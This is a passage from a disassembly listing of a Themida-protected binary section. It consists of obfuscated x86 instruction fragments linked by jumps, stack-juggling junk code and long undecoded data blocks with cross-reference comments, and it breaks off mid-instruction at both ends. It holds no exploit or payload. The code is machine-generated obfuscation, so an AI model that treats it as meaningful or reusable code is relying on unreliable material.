ecx, [esp] jmp loc_565087 ; --------------------------------------------------------------------------- db 52h dd 0C281E289h, 4, 8704C283h, 525C2414h, 0D555E9h db 0 ; --------------------------------------------------------------------------- loc_5530C9: ; CODE XREF: Themida_:00564AE2j sub ebx, 0F49DBB7Ah mov edi, ebx pop ebx sub ebx, edi pop edi sub ebx, 206E086Bh add ecx, ebx pop ebx add ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] jmp loc_5533DE ; --------------------------------------------------------------------------- loc_5530F5: ; CODE XREF: Themida_:00554202j sub esp, 4 mov [esp], edx mov edx, 7E7742B0h jmp loc_554B9D ; --------------------------------------------------------------------------- db 0BEh, 84h, 77h dd 0C68152C1h, 2D4048EBh, 8102E6C1h, 0CA35EACEh, 7EEC13Bh dd 0EC81D6F7h, 4, 0BD242C89h, 4B3F4A55h, 100EAE9h, 240C8B00h dd 4C481h, 0EC810000h, 4, 0E9243C89h, 15AFh, 4C181h, 0BD550000h dd 4, 9533E9h db 0 ; --------------------------------------------------------------------------- loc_553159: ; CODE XREF: Themida_:0055D86Fj and ecx, 70D67A34h xor ecx, 40945004h add ebx, ecx pop ecx jmp loc_564124 ; --------------------------------------------------------------------------- db 50h, 54h, 58h dd 405h, 4C08300h, 5C240487h, 0E924048Bh, 54C7h, 6B1ABE56h dd 0BD553955h, 5FF86EFEh, 525DEE31h, 12032E9h db 0 ; --------------------------------------------------------------------------- loc_553199: ; CODE XREF: Themida_:0055D0D3j add ebx, eax mov eax, [esp] add esp, 4 xchg ebx, [esp] mov esp, [esp] push 5F19h mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp or eax, eax jz loc_5547C7 push edx sub esp, 4 mov [esp], esp jmp loc_5577CD ; --------------------------------------------------------------------------- loc_5531D8: ; CODE XREF: Themida_:00556C9Aj push eax push small 69E5h mov [esp], bx mov bl, 0E6h mov al, bl mov bx, [esp] add esp, 2 jmp loc_55FB60 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 83240489h, 8F5404ECh, 0BD552404h, 4, 4246C81h, 6A0759A4h dd 4246C01h, 4244481h, 6A0759A4h, 24048B5Dh, 504C483h dd 4, 4F2068h, 24348900h, 165606BEh, 75C6813Fh, 0C16D897Dh dd 0C68108E6h, 34953328h, 0E2A6F681h, 0CE81C9B4h, 11D720C8h dd 11E4AE9h, 4CC68100h, 0FF6DB91Ch, 83582434h, 0FF5604C4h dd 8B042474h, 0C4812434h, 4, 0FFCFB2E9h, 240489FFh, 2474FF55h dd 242C8B04h, 30C5E951h, 0CA870000h, 0CA31D1F7h, 0CA31D131h dd 0FFDA81E9h, 0FBBE56FFh, 6841ED3Eh, 6B5h, 0BB241C89h dd 113A7496h, 242C8B53h, 4C481h, 575B0000h, 0CB6D70BFh dd 66B85036h, 2D010D73h, 5C1277A1h, 1345B951h, 0F181043Ch dd 75423B52h, 2D59C831h, 0E410345Ch, 0E958C701h, 54AAh dd 74FF515Fh, 8F590424h, 248B2404h, 0E810E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5532EE: ; CODE XREF: Themida_:00550F30j or dh, 0D9h sub dh, 1 not dh push eax jmp loc_5575B5 ; --------------------------------------------------------------------------- loc_5532FC: ; CODE XREF: Themida_:0055646Cj push ebp jmp loc_552D3C ; --------------------------------------------------------------------------- dw 0FD89h dd 5F5DE889h, 0FFE249E9h db 0FFh ; --------------------------------------------------------------------------- loc_55330D: ; CODE XREF: Themida_:00563271j dec edx add edx, 0D38920C7h mov ebx, edx pop edx jmp loc_55C1FA ; --------------------------------------------------------------------------- dd 72E9E389h, 830000FFh, 0C3304E9h, 240C3124h, 8B240C33h dd 39E92424h db 13h, 1, 0 ; --------------------------------------------------------------------------- loc_553337: ; CODE XREF: Themida_:0055A351j add esp, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp and eax, edx pop edx shr eax, 0Eh xor eax, ecx sub esp, 4 mov [esp], esi mov esi, esp push ecx jmp loc_55ADF5 ; --------------------------------------------------------------------------- dw 3C89h dd 81E78924h, 4C7h, 4EF8300h, 0E9243C87h, 0DBB7h dword_553370 dd 582434FFh, 134268h, 24348900h, 24348B54h, 4C481h, 77680000h ; DATA XREF: Themida_:0054FEC8o dd 89000043h, 4BBA2414h, 0F76F4F4Eh, 4EC83DAh, 0B9240C89h dd 0FFFFFFFFh, 8359CA01h, 148904ECh, 2414F724h, 8124148Bh dd 4C4h, 47EA8100h, 816F4F4Eh, 276597EEh, 81D60163h, 276597C6h dd 0E13DE963h, 44E90000h, 0FFFFFFCBh, 2C8B2434h, 0C98E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5533DE: ; CODE XREF: Themida_:005530F0j sub esp, 4 mov [esp], ecx push 4503h jmp loc_55D02A ; --------------------------------------------------------------------------- loc_5533F1: ; CODE XREF: Themida_:00561B7Ej pop esp push 1CE5h mov [esp], esi mov esi, 2 push ebx jmp loc_55C60C ; --------------------------------------------------------------------------- loc_553405: ; CODE XREF: Themida_:00560698j mov edx, 0B67A9AA5h push eax mov eax, 656C5C69h not eax add eax, 43A6125Fh neg eax xor eax, 6B55DB5h sub eax, 0DCC7122Fh jmp loc_562239 ; --------------------------------------------------------------------------- loc_553428: ; CODE XREF: Themida_:00562508j push ebp jmp loc_550895 ; --------------------------------------------------------------------------- loc_55342E: ; CODE XREF: Themida_:00563C87j push dword ptr [esp+4] mov edx, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_551199 ; --------------------------------------------------------------------------- db 81h dd 7A901F7h, 8BFE29E2h, 8957243Ch, 43BA52E7h, 0E937BE20h dd 87BAh ; --------------------------------------------------------------------------- loc_55345C: ; CODE XREF: Themida_:00561BFDj xchg esi, [esp] pop esp mov [esp], ebp pop eax mov ebp, [esp] sub esp, 4 mov [esp], ebp push ebp jmp loc_564AE7 ; --------------------------------------------------------------------------- aXSSs db ',X(ÈS³*éS»',0 dw 3300h dd 3C31243Ch, 243C3324h, 24048F5Ch, 48B665Ch, 0E2895224h dd 3239E957h, 89660000h, 17E92404h, 8F00011Dh, 248B2404h dd 0C8B6624h, 4EC8124h, 89000000h, 0E389241Ch, 5F9068h dd 24348900h, 4BEh, 0A8BA5200h, 8174E02Ch, 0DE7275CAh dd 0B768503Bh, 0E96A1C3Fh, 43CEh, 0E9241C89h, 0C90Dh, 24048F5Ah dd 243C895Ch, 2BFh, 0E9FB0100h, 0A808h, 54CC68h, 240C8900h dd 8823E9h db 0 ; --------------------------------------------------------------------------- loc_553505: ; CODE XREF: Themida_:0055FE52j mov ebx, [esp] add esp, 4 jmp loc_551C53 ; --------------------------------------------------------------------------- loc_553513: ; CODE XREF: Themida_:00554BB6j push edi mov edi, 2420DFD9h xor eax, edi pop edi jmp loc_56169B ; --------------------------------------------------------------------------- db 0BBh, 48h, 23h dd 0DBF76C87h, 4FD8C381h, 0EB8164A9h, 0A0F42B94h, 0F8EB81h dd 0C181572Eh, 0B1D1F55h, 0F65CE9h db 0 ; --------------------------------------------------------------------------- loc_553545: ; CODE XREF: Themida_:005633E9j mov [esp], edi push eax mov eax, esp add eax, 4 jmp loc_5624CC ; --------------------------------------------------------------------------- byte_553555 db 0FFh, 34h, 24h ; DATA XREF: Themida_:0054FE80o aXhi0 db 'Xhˆ0',0 align 2 dw 0C89h aSE db '$éìE',0 align 2 dw 5053h dd 0E788D488h, 0FB7DE9h, 0E9E95300h, 550000D0h, 0C5815D54h dd 4, 8704ED83h, 0E95C242Ch, 0FFFFC9C8h, 0E96DF180h, 9066h dword_553594 dd 240C8B66h, 52E68956h, 7C73E9h ; DATA XREF: Themida_:0054FE10o db 0 byte_5535A1 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0054FE24o dd 4EC8324h, 68243C89h, 5FE0h, 24048F54h, 0B54FE9h db 0 ; --------------------------------------------------------------------------- loc_5535B9: ; CODE XREF: Themida_:00561D19j mov edi, esp add edi, 4 push esi mov esi, 4 sub edi, esi pop esi xchg edi, [esp] mov esp, [esp] mov [esp], ecx jmp loc_5616E1 ; --------------------------------------------------------------------------- dd 66240489h, 0ADB15152h, 0E980D1F6h, 20E18078h, 0E943E180h dd 0B643h ; --------------------------------------------------------------------------- loc_5535F0: ; CODE XREF: Themida_:00560E32j sub eax, edi add eax, 22E64288h mov edi, [esp] add esp, 4 jmp loc_55B954 ; --------------------------------------------------------------------------- loc_553605: ; CODE XREF: Themida_:00559E1Fj sub ebx, ecx pop ecx xchg ebx, [esp] jmp loc_5655E0 ; --------------------------------------------------------------------------- dd 0E9240C89h, 0E0EBh ; --------------------------------------------------------------------------- loc_553618: ; CODE XREF: Themida_:0055D6C9j mov [esp], ecx mov ecx, 1DD15AB4h mov ebx, ecx mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp not ebx and ebx, 58C3079Dh jmp loc_55E68E ; --------------------------------------------------------------------------- loc_553645: ; CODE XREF: Themida_:00557E0Ej add ecx, 3D80B5E5h and ebx, ecx mov ecx, [esp] add esp, 4 jmp loc_552F30 ; --------------------------------------------------------------------------- dd 51241489h, 48B15153h, 0C8BCF88h, 4C48324h, 521EF780h dd 0F588FE88h, 0CC25E9h db 0 byte_553675 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:0054FDB4o dd 6658669Dh, 9C240411h, 848DE9h, 8BEF0000h, 0C483240Ch dd 0DCCE904h, 89560001h, 4C681E6h, 81000000h, 4C6h, 24348700h dd 70B9685Ch, 51E90000h, 8900004Bh, 56B02404h, 789868h dd 24048900h, 8B241CF6h, 0F3E92404h, 0BB00009Eh, 7E014C0Ah dd 0E95BDA01h, 0AF72h, 835AD789h, 0C78101EFh, 217605E9h dd 3ECF81h, 0EF8136C1h, 6B31A80h, 3FECC381h, 0FB290DB2h dd 3FECEB81h, 5E5F0DB2h, 8704C383h, 248B241Ch, 2434FF24h dd 0FFE073E9h, 0C805E9FFh, 525DFFFFh, 42474FFh, 24048F5Ah dd 5024248Bh, 405E089h, 2D000000h, 4, 31240433h, 4332404h dd 2D19E924h, 0E95A0000h, 0FCC4h, 0BD242C89h, 7F8804ECh dd 0F707EDC1h, 0FFED81DDh, 0C1FFFFFFh, 0C58105EDh, 6B37D25h dd 0D961F581h, 0E8292765h, 0FFD6C6E9h db 0FFh ; --------------------------------------------------------------------------- loc_553769: ; CODE XREF: Themida_:005557E8j xor eax, ebx pop ebx sub esp, 4 mov [esp], esi push 5EBEh jmp loc_55C7F9 ; --------------------------------------------------------------------------- loc_55377C: ; CODE XREF: Themida_:00556EEDj mov ebp, [esp] add esp, 4 xchg ecx, [esp] mov esp, [esp] and [edi+1Ch], ecx pop ecx jmp loc_55741E ; --------------------------------------------------------------------------- dd 700C681h, 0C601172Ch, 10A94E9h, 81E28900h, 4C2h, 4EA8300h dd 31241433h, 14332414h, 0A6685C24h, 89000028h, 0F4E92424h dd 0B9000025h, 4, 4244481h, 5ABB6608h, 95F9E9h, 24348900h dd 4BEh, 5EF20100h, 8B241487h, 66682424h, 89000053h, 0E989240Ch dd 0FFF224E9h, 82C181FFh, 89DE0324h, 0ECE959C8h, 4B000117h dd 0E907EBC1h, 0FE3Dh ; --------------------------------------------------------------------------- loc_55380C: ; CODE XREF: Themida_:0055D443j pop edx add ch, dl sub ch, 45h jmp loc_55A880 ; --------------------------------------------------------------------------- loc_553817: ; CODE XREF: Themida_:0055FA27j push edi mov edi, esp add edi, 4 jmp loc_55D0EE ; --------------------------------------------------------------------------- loc_553825: ; CODE XREF: Themida_:00559A1Fj add eax, 1B072DDBh sub eax, 5F151818h pop ecx push edi push ecx jmp loc_550172 ; --------------------------------------------------------------------------- loc_553837: ; CODE XREF: Themida_:0056221Bj mov [esp], ebx pop edi pop ebx pop ecx push ecx push ebp mov ebp, 0B9BC6505h mov ecx, ebp pop ebp push ecx pop eax pop ecx sub eax, edi jmp loc_561913 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 0B8502434h, 38A45A48h, 0C104E0C1h, 0E94004E0h dd 0EE4Fh, 8B20840Fh, 0E9520000h, 0FFFFFF29h, 0C9E9E789h dd 8100009Bh, 0D5C693C1h, 0E410E922h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55388A: ; CODE XREF: Themida_:0056174Bj add ebx, edx pop edx xchg ebx, [esp] pop esp jmp loc_55C99A ; --------------------------------------------------------------------------- loc_553896: ; CODE XREF: Themida_:005522D6j push esp mov ecx, [esp] jmp loc_555861 ; --------------------------------------------------------------------------- db 89h dd 1BE2434h, 29000000h, 0E2815EF2h, 1B7F32CBh, 7355F281h dd 0EC837C50h, 240C8904h, 3D0E42B9h, 59CA3127h, 148BD509h dd 4C48124h, 0E9000000h, 10B50h, 0E92DF180h, 0A9F1h, 0E3C280h dd 0E3EA80DAh, 52241C8Bh, 0C281E289h, 4, 8704C283h, 5C2414h dd 2434FFD0h, 8324148Bh, 0C48104C4h, 4, 652CD800h, 0C0D0B353h dd 0CBFE02E3h, 3C2068h, 24048900h, 0CC86DCB4h, 50E9D1F6h dd 29000053h, 164568F0h, 0C890000h, 9FBAE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553936: ; CODE XREF: Themida_:00555D08j mov esi, ebx jmp loc_559657 ; --------------------------------------------------------------------------- aLSn db '‹,$é"',0 dd 5DE90100h, 4C181h, 0C870000h, 3BD7E924h, 0D0290000h dd 0DF7AF705h, 24148B62h, 5E08950h, 4, 405h, 24048700h dd 512D5Ch db 0A0h, 74h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push edx mov edx, 0F8A127Bh push edx not dword ptr [esp] pop edx push edi jmp loc_561F81 ; --------------------------------------------------------------------------- dd 0F04A4B0h, 4EC8351h, 0D68FE9h, 4C48100h, 0E9000000h dd 0FD22h ; --------------------------------------------------------------------------- loc_5539A8: ; CODE XREF: Themida_:0055200Ej mov ch, 16h sub bl, 6Eh add bl, ch add bl, 6Eh pop ecx push cx mov cl, 41h jmp loc_565447 ; --------------------------------------------------------------------------- dword_5539BC dd 0E924048Bh, 0F5E7h ; DATA XREF: Themida_:0054FCA8o dword_5539C4 dd 52D830ACh, 0E280E7B2h, 0D4C2802Ah, 6604E2C0h, 0E94B8768h ; DATA XREF: Themida_:0054FCD4o dd 0FFFFD08Fh, 0FFC536E9h db 0FFh byte_5539E1 db 66h, 8Fh, 2 ; DATA XREF: Themida_:0054FEC4o dd 0FFC52EE9h, 45D5F7FFh, 0D9E9E5D1h, 0FE00004Bh, 4FF2CC0h dd 43B7538Ch, 0E7C0D7F6h, 0DCF78007h, 5BF800h, 505158C3h dd 0E58896B4h, 0E924048Bh, 0FFFFD4BFh, 4C481h, 89570000h dd 4C781E7h, 83000000h, 3C8704C7h, 0BD555C24h, 4, 10A9AE9h db 0 ; --------------------------------------------------------------------------- loc_553A39: ; CODE XREF: Themida_:0055534Cj mov [esp], eax mov eax, 5F616532h neg eax inc eax shl eax, 4 push edx mov edx, 5A45736h or eax, edx pop edx jmp loc_5580A8 ; --------------------------------------------------------------------------- byte_553A55 db 64h, 8Fh, 2 ; DATA XREF: Themida_:0054FCC8o dd 9335E9h, 0C896600h, 0E29E924h, 5E500001h, 81E68956h dd 4C6h, 4EE8300h, 0E9243487h, 0A403h aN1Ha db '1Øh]',0 ; DATA XREF: Themida_:0054FDA8o align 4 dd 1170FE9h, 240C8700h, 2EEC15Ch, 0F681EED1h, 0A8F6FEDh dd 36D6EE81h, 0ED8112F9h, 429309C7h, 0EE9F501h, 87000101h dd 895C240Ch, 18E9241Ch, 8B0000ABh, 0C481240Ch, 4, 0EBB2E9h dd 4C28100h, 87000000h, 335C2414h, 1C31241Ch, 241C3324h dd 0F15DE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553ADE: ; CODE XREF: Themida_:005514F3j not ebx xor ebx, 0A7AFBC52h xor eax, ebx pop ebx jmp loc_55BB8A ; --------------------------------------------------------------------------- dw 1489h aIISk db '$ˆÊˆÓék%',0 align 2 loc_553AFA: ; CODE XREF: Themida_:00564884j jz loc_55E824 push eax jmp loc_55AA02 ; --------------------------------------------------------------------------- aYh_ db 'YhÙ_',0 align 4 dd 89240C89h, 4C181E1h, 81000000h, 4C1h, 0EA8E900h, 0CABE0000h dd 0BB6EBB32h, 0A160C7BFh, 7AEE9h, 0D5874A00h, 4939F581h dd 0BA526E5Bh, 174440F5h, 814AD2F7h, 2E2AB6F2h, 5AD501BCh dd 0E95DE809h, 0D924h ; --------------------------------------------------------------------------- loc_553B54: ; CODE XREF: Themida_:0055C817j pop esi sub edx, 4 xchg edx, [esp] jmp loc_555C6F ; --------------------------------------------------------------------------- dd 4EC81h, 0A0E90000h db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553B6B: ; CODE XREF: Themida_:005590ADj mov edi, 0E30780Bh push eax jmp loc_5542F9 ; --------------------------------------------------------------------------- loc_553B76: ; CODE XREF: Themida_:00551C58j push edi push ebx pop edi pop ebx or edi, 5C5734FFh jmp loc_55FEEF ; --------------------------------------------------------------------------- db 57h, 0BFh, 0D5h dd 8160076Ch, 0E5573CC1h, 0E9F9290Ch, 3294h, 0F681E6D1h dd 7D8C6D35h, 11F6814Eh, 8114A13Ch, 0F5687FF6h, 5EF1011Fh dd 8B240C87h, 2E92424h, 81FFFFE8h, 0C2098BE3h, 61C38133h dd 0F75FF417h, 0C1DBF7DBh, 0C38102E3h, 848CBF42h, 6E9DD29h db 42h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553BDB: ; CODE XREF: Themida_:0055270Ej pop esi push ebx mov ebx, 52E93C4Fh neg ebx jmp loc_5591FA ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0FF241C89h, 8B042474h, 8951241Ch, 0A1BD55E1h, 0C1794C16h dd 0E58107E5h, 4EA41435h, 1004BA52h, 0D5310600h, 0FD2FE95Ah dd 0C281FFFFh, 758D76C2h, 5CEA815Dh, 10CBD05h, 5CC281CAh dd 560CBD05h, 0BB2A94BEh, 6EEC146h, 457BCE81h, 0EEC15B12h dd 0CAEE8106h, 1F36801h, 0C8B5EF2h, 0E6895624h, 4C681h dd 0D3E90000h, 0BB000057h, 644E3FD4h, 0D3F7DBF7h, 0BF67E9h db 0 ; --------------------------------------------------------------------------- loc_553C65: ; CODE XREF: Themida_:00558882j mov eax, [esp] jmp loc_554D9D ; --------------------------------------------------------------------------- db 42h, 0F7h, 0DAh dd 83FBEA81h, 0D3899C29h, 8BDF015Ah, 0C481241Ch, 4, 2BD55h dd 0EF010000h, 8B2434FFh, 0EDE9242Ch db 32h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553C97: ; CODE XREF: Themida_:00562AFDj or edx, eax shl edx, 1 sub esp, 4 mov [esp], edx push eax push 48055E2h pop eax not eax jmp loc_558178 ; --------------------------------------------------------------------------- dw 14F7h dd 240C8B24h, 8104C483h, 902237F1h, 86E952F2h, 68FFFFEBh dd 18D8h, 83243489h, 8F5404ECh, 0BE562404h, 4, 4247401h dd 2434FF5Eh, 8324348Bh, 0AF6804C4h, 8900003Ah, 0E0892404h dd 405h, 4C08300h, 8E04E9h db 0 ; --------------------------------------------------------------------------- loc_553D01: ; CODE XREF: Themida_:00562742j push 476Bh jmp loc_551E34 ; --------------------------------------------------------------------------- loc_553D0B: ; CODE XREF: Themida_:00552723j mov ebx, 4 jmp loc_561BF2 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 81000000h, 4C4h, 0BF575300h, 7E221D28h, 221D2CBBh, 5FFB317Eh dd 0FFC787E9h, 243481FFh, 73990311h, 68555258h, 0FD1370Dh dd 0E4E9515Dh, 0DEh, 0E3C058E3h, 0A7C38005h, 3CE9D3F6h dd 100002Eh, 8BB850DDh, 0E93CD51Eh, 10082h, 4EC815Ch, 89000000h dd 58542404h, 405h, 4E88300h, 31240433h, 4332404h, 2C895C24h dd 24BB5324h, 89000000h, 50535BDDh, 0FB7F3FB8h, 78F50D52h dd 39E91883h, 5600010Ah, 0BE10DFBEh, 9CC68103h, 0E97C4B00h dd 9E87h ; --------------------------------------------------------------------------- loc_553DB4: ; CODE XREF: Themida_:005543F3j add esi, ebp pop ebp push 31D5h mov [esp], ebx push 1A3Eh mov [esp], edi jmp loc_55D9E2 ; --------------------------------------------------------------------------- loc_553DCC: ; CODE XREF: Themida_:0055EA30j mov [esp], edi jmp loc_561D08 ; --------------------------------------------------------------------------- dd 2C8BEB01h, 0DDE4E924h, 0EA810000h, 77D523DEh, 0B4E9CA01h dd 47000088h, 348B5756h, 0E2895224h, 4C281h, 0C2810000h dd 4, 5C241487h, 81243C8Bh, 4C4h, 0D1D6F700h, 2EEC1EEh dd 80F68146h, 5511B6F3h, 0FF6A16BDh, 6951E92Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_553E26: ; CODE XREF: Themida_:005580B3j mov edx, 6C5E373Bh sub ecx, edx pop edx sub ecx, eax push edi mov edi, 33BB7E37h push ecx mov ecx, 5D7937FEh and ecx, 423E489Ah neg ecx sub ecx, 8B66C8ACh xor edi, ecx jmp loc_5575A2 ; --------------------------------------------------------------------------- db 81h, 0EBh, 0A6h dd 89BCD49Fh, 241C8BDEh, 81595451h, 4C1h, 0C862E900h, 814A0000h dd 0FE2112F2h, 8BD189FEh, 80E92414h db 3, 1, 0 ; --------------------------------------------------------------------------- loc_553E7B: ; CODE XREF: Themida_:00564E34j not edi xchg eax, edi inc eax push esi jmp loc_560EA9 ; --------------------------------------------------------------------------- db 5Ah, 81h, 0C2h dd 4, 0D47CE9h, 99EA8100h, 812C701Bh, 0A16F38EAh, 0AE1BE96Ah dd 1C890000h, 7B1DBB24h, 2E93083h, 81FFFFCEh, 8BD354C3h dd 5179E9D1h, 0EC810000h, 4, 0BA241489h, 435A3728h, 8102EAC1h dd 4ECh, 0F9C9E900h, 0F001FFFFh, 58C1015Eh, 4EC81h, 3C890000h dd 138F6824h, 3C8B279Fh, 7B0DE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553EF2: ; CODE XREF: Themida_:0055C00Fj pop edi shr ecx, 7 push dword ptr [edi+1Ch] sub esp, 4 mov [esp], esi push 7EB60D96h jmp loc_557A10 ; --------------------------------------------------------------------------- loc_553F09: ; CODE XREF: Themida_:0055B8EBj pop eax add esp, 4 shr edx, 4 shr edx, 3 add edx, 0FFFFFFFFh not edx add edx, 1 xor edx, 5FFA3769h add esi, 1F4E69CFh sub esi, edx sub esi, 1F4E69CFh jmp loc_554070 ; --------------------------------------------------------------------------- loc_553F34: ; CODE XREF: Themida_:0055D07Dj sub esp, 4 jmp loc_559C31 ; --------------------------------------------------------------------------- dd 52242C8Bh, 0ABE9E289h, 0E900010Ch, 0FFFFBFCBh, 4E9815Ah dd 87000000h, 895C240Ch, 5F54243Ch, 3AE95155h, 83000029h dd 895304C4h, 4C381E3h, 83000000h, 1C8704EBh, 3C895C24h dd 0F126E924h, 0C1290000h, 91E95658h, 590000E4h, 0FF2434FFh dd 0E95F2434h, 0FFFFFA84h ; --------------------------------------------------------------------------- loc_553F94: ; CODE XREF: Themida_:005611F1j add esp, 4 jmp loc_5585EB ; --------------------------------------------------------------------------- dd 7A569F05h, 4EC8363h, 53240489h, 93E95B58h, 2000006Dh dd 0ACEFE9C8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553FB6: ; CODE XREF: Themida_:00558268j push edx mov edx, 4 add ebp, 0A120872h add ebp, edx sub ebp, 0A120872h pop edx xchg ebp, [esp] pop esp push 1174h jmp loc_554555 ; --------------------------------------------------------------------------- loc_553FD9: ; CODE XREF: Themida_:00557313j push 0D892267Dh pop eax xor ebp, eax pop eax xor eax, ebp pop ebp and eax, 5B950E57h push ecx mov ecx, 0CA613AA5h add eax, ecx pop ecx sub ecx, 2FB6E72h jmp loc_55CD1F ; --------------------------------------------------------------------------- dw 8F54h dd 4832404h, 34FF0424h, 0C8E95E24h, 1000106h, 5F04247Ch dd 83243C8Bh, 0EC8104C4h, 4, 0E9241489h, 0C0B2h, 4EB81h dd 0FF530000h, 5B042474h, 0FFD405E9h, 9CC83BFFh, 0FFBED6E9h dd 0E1C181FFh, 0E966192Ch, 0DDF6h, 5C243C87h, 2AA8E9h dd 242C8900h, 4BDh, 3004E900h, 0EF810000h, 73C2302Fh, 0E951C701h dd 59FBh ; --------------------------------------------------------------------------- loc_554070: ; CODE XREF: Themida_:00553F2Fj pop edx jmp loc_561E99 ; --------------------------------------------------------------------------- dw 0C483h dd 4C48304h, 2BE5652h, 0E9000000h, 7E57h ; --------------------------------------------------------------------------- loc_554088: ; CODE XREF: Themida_:00560F0Ej mov edx, 13074E0Dh or edx, 421362CDh shr edx, 4 or edx, 4E3C0A29h jmp loc_5597CC ; --------------------------------------------------------------------------- db 81h, 0E9h, 0F6h dd 5A2E3863h, 3F03C181h, 34FF54E3h, 2434FF24h, 4C48358h dd 6804C483h, 6A66h, 0E9242C89h, 0FFFFDF0Eh, 5C240C33h dd 72B5E9h, 8E2C100h, 0CA81D2F7h, 3B475259h, 0F281D2F7h dd 0CB33E4D9h, 5737E9h db 0 byte_5540E9 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0054FE34o dd 4EC8124h, 89000000h, 0E6892434h, 4C681h, 0DBE90000h dd 1FFFFEBh, 3C335AD7h, 243C3124h, 8B243C33h, 1C332424h dd 241C3124h, 0FFDE0FE9h, 0D3C781FFh, 1E0C80Fh, 0EA815FFAh dd 197E670Ch, 0C281F201h, 197E670Ch, 40C2EA81h, 9DE96027h db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55413F: ; CODE XREF: Themida_:005567A7j inc edx push ebx mov ebx, 2CCC655Ah add edx, ebx pop ebx push edi mov edi, 65FEF29Fh xor edx, edi pop edi mov edi, edx jmp loc_564EEB ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 8904EC83h, 4BE2434h, 1000000h, 5E042474h, 4BF575Dh dd 1000000h, 2434FFFDh, 8B54535Fh, 0C483241Ch, 4BF5704h dd 1000000h, 6CE95FFBh, 8B000085h, 0C483242Ch, 0C1835D04h dd 74FF5102h, 0C8B0424h, 4C48324h, 5C24048Fh, 9C2424D3h dd 0FFBD66E9h, 0C6815BFFh, 75361DCAh, 0B0E9EE01h db 63h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5541BF: ; CODE XREF: Themida_:0055A4A6j add esp, 4 add edi, eax jmp loc_551912 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 45E95456h db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5541D3: ; CODE XREF: Themida_:0055565Dj pop eax pop eax movzx eax, al jmp loc_557983 ; --------------------------------------------------------------------------- db 5, 36h, 0EEh dd 0C509F480h, 0D5F74D58h, 825F581h, 0E9010900h, 0FFD841E9h dd 0C7815DFFh, 338F5E32h, 0FFDC62E9h db 0FFh ; --------------------------------------------------------------------------- loc_554201: ; CODE XREF: Themida_:00556424j push ebp jmp loc_5530F5 ; --------------------------------------------------------------------------- loc_554207: ; CODE XREF: Themida_:00564FC1j xor eax, 2FFB37B8h push eax not dword ptr [esp] pop eax sub eax, 0A8F43D8h and eax, 72576C24h xor eax, 0CD489C27h add ebp, eax jmp loc_55D285 ; --------------------------------------------------------------------------- db 0BBh dd 22F8619Eh, 7DA2CB81h, 0E94B5A3Ch, 4B54h, 68E68956h dd 2576h, 0FFF115E9h, 0FFED80FFh, 0B652E5D0h, 5AF52823h dd 83A2F580h, 48904ECh, 2838B024h, 0C38058C3h, 80EB28AAh dd 0C380AAEBh, 240C8B38h, 8004C483h, 0DA28C0EAh, 8BC0C280h dd 0C481241Ch, 4, 685AD028h, 474Fh, 0B7241C89h, 5CF568BFh dd 4890000h, 4EC8124h, 89000000h, 0EB3241Ch, 0E9D98851h dd 0DE9Ah ; --------------------------------------------------------------------------- loc_5542A8: ; CODE XREF: Themida_:00559073j push ebp mov ebp, 4 add ebx, ebp jmp loc_563CB1 ; --------------------------------------------------------------------------- db 29h, 0EFh, 8Bh dd 0C481242Ch, 4, 1BCBE9h db 0 byte_5542C5 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0054FD4Co dd 4EC8324h, 0E9241489h, 9413h ; --------------------------------------------------------------------------- loc_5542D4: ; CODE XREF: Themida_:0055BAA3j sub esi, 7B512879h jmp loc_55F7A7 ; --------------------------------------------------------------------------- db 29h dd 0DD895EF3h, 0BAAEE9h, 0FFD00100h, 835A2434h, 0C80104C4h dd 0E6AEE9h db 0 ; --------------------------------------------------------------------------- loc_5542F9: ; CODE XREF: Themida_:00553B71j push 15E7h mov [esp], esp add dword ptr [esp], 4 jmp loc_550055 ; --------------------------------------------------------------------------- loc_55430D: ; CODE XREF: Themida_:0055C98Dj mov [esp], ebx push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 jmp loc_550E9E ; --------------------------------------------------------------------------- dd 36EF68h, 241C8900h, 0ED6C01BBh, 3929684Eh, 31587852h dd 0E9505BD8h, 975Bh ; --------------------------------------------------------------------------- loc_554340: ; CODE XREF: Themida_:005527EAj and esi, ecx jmp loc_556B73 ; --------------------------------------------------------------------------- db 0FFh a4SM db '4$é',0Ah db 'Œ',0 dw 8100h dd 4ECh, 24248900h, 50B85057h, 0BF28C179h, 28C17954h, 1BE9C729h dd 10000DEh, 24148BD3h, 4C481h, 0A9E90000h, 5A000056h dd 0E95BD800h, 2523h ; --------------------------------------------------------------------------- loc_554384: ; CODE XREF: Themida_:00555A69j push esp pop ecx add ecx, 4 push esi jmp loc_55D5D2 ; --------------------------------------------------------------------------- loc_554392: ; CODE XREF: Themida_:0055CD2Ej add ecx, 